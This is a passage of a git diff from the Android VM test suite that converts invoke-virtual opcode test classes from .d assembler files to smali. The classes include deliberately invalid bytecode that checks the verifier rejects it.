+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.d
deleted file mode 100644
index ad196c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_15.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15/testN()V
-       return-void
-.end method
-
-.method public test()V
-.limit regs 1
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali
new file mode 100644
index 0000000..26b4618
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_15.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15;->testN()V
+       return-void
+.end method
+
+.method public test()V
+.registers 1
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.d
deleted file mode 100644
index 0f0ab56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_16.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-virtual {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali
new file mode 100644
index 0000000..eaa2c32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_16.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-virtual {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.d
deleted file mode 100644
index da55ec7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_17.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_17
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali
new file mode 100644
index 0000000..9a6b02e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_17.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.d
deleted file mode 100644
index 32097da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_18.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
-.limit regs 5
-       invoke-virtual {v4}, dot/junit/opcodes/invoke_virtual/TestStubs/TestStub()V
-Label6:
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali
new file mode 100644
index 0000000..8d52784
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_18.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
+.registers 5
+       invoke-virtual {v4}, Ldot/junit/opcodes/invoke_virtual/TestStubs;->TestStub()V
+:Label6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.d
deleted file mode 100644
index ce0b550..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_19.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_19
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 1
-       invoke-virtual {v3, v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali
new file mode 100644
index 0000000..cf571ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_19.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 1
+       invoke-virtual {v3, v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.d
deleted file mode 100644
index f655091..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_20.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
-.limit regs 5
-Label0:
-
-       invoke-virtual {v4}, dot/junit/opcodes/invoke_virtual/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali
new file mode 100644
index 0000000..d96b8c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_20.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
+.registers 5
+:Label0
+
+       invoke-virtual {v4}, Ldot/junit/opcodes/invoke_virtual/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.d
deleted file mode 100644
index 135f037..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_22.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_22
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual/d/TPlain/<init>()V
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali
new file mode 100644
index 0000000..514d30a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_22.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual/d/TPlain;-><init>()V
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.d
deleted file mode 100644
index 071a91f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_23.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_23
-.super dot/junit/opcodes/invoke_virtual/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali
new file mode 100644
index 0000000..f3cd065
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_23.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d
deleted file mode 100644
index 1804cce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_virtual.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-.source T_invoke_virtual_24.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_24
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual.d.TTestInterface
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       invoke-virtual {v3}, dot/junit/opcodes/invoke_virtual/d/TTestInterface/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..356b95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/T_invoke_virtual_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/T_invoke_virtual_24.smali
new file mode 100644
index 0000000..b774b47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/T_invoke_virtual_24.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/TTestInterface;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.d
deleted file mode 100644
index 7816b12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_25.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_25
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v6, java/lang/Object
-       invoke-virtual {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali
new file mode 100644
index 0000000..26b005f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_25.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v6, Ljava/lang/Object;
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d
